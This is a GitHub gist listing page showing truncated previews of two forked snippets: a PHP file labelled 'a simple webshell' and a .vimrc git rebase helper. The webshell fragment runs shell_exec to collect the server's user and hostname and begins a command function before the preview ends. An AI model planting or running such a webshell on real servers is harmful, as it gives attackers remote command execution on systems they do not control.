Skip to content

Instantly share code, notes, and snippets.

View pix's full-sized avatar
🌴
On vacation

PiX pix

🌴
On vacation
View GitHub Profile
@pix
pix / webshell.php
Last active March 3, 2017 13:44 — forked from wattanar/webshell.php
a simple webshell
<?php error_reporting(E_ALL); ?>
<?php session_start(); ?>
<?php
if (empty($_SESSION['path'])) {
$_SESSION['user'] = shell_exec('whoami');
$_SESSION['host'] = shell_exec('hostname');
$_SESSION['path'] = dirname(__FILE__);
}
function showInfo($cmd) {
@pix
pix / .vimrc
Created November 4, 2010 10:32 — forked from c9s/.vimrc
" Git rebase helper for:
" git rebase --interactive
"
" L - view commit log
" p - pick
" e - edit
" s - squash
" r - reword
" D - delete
"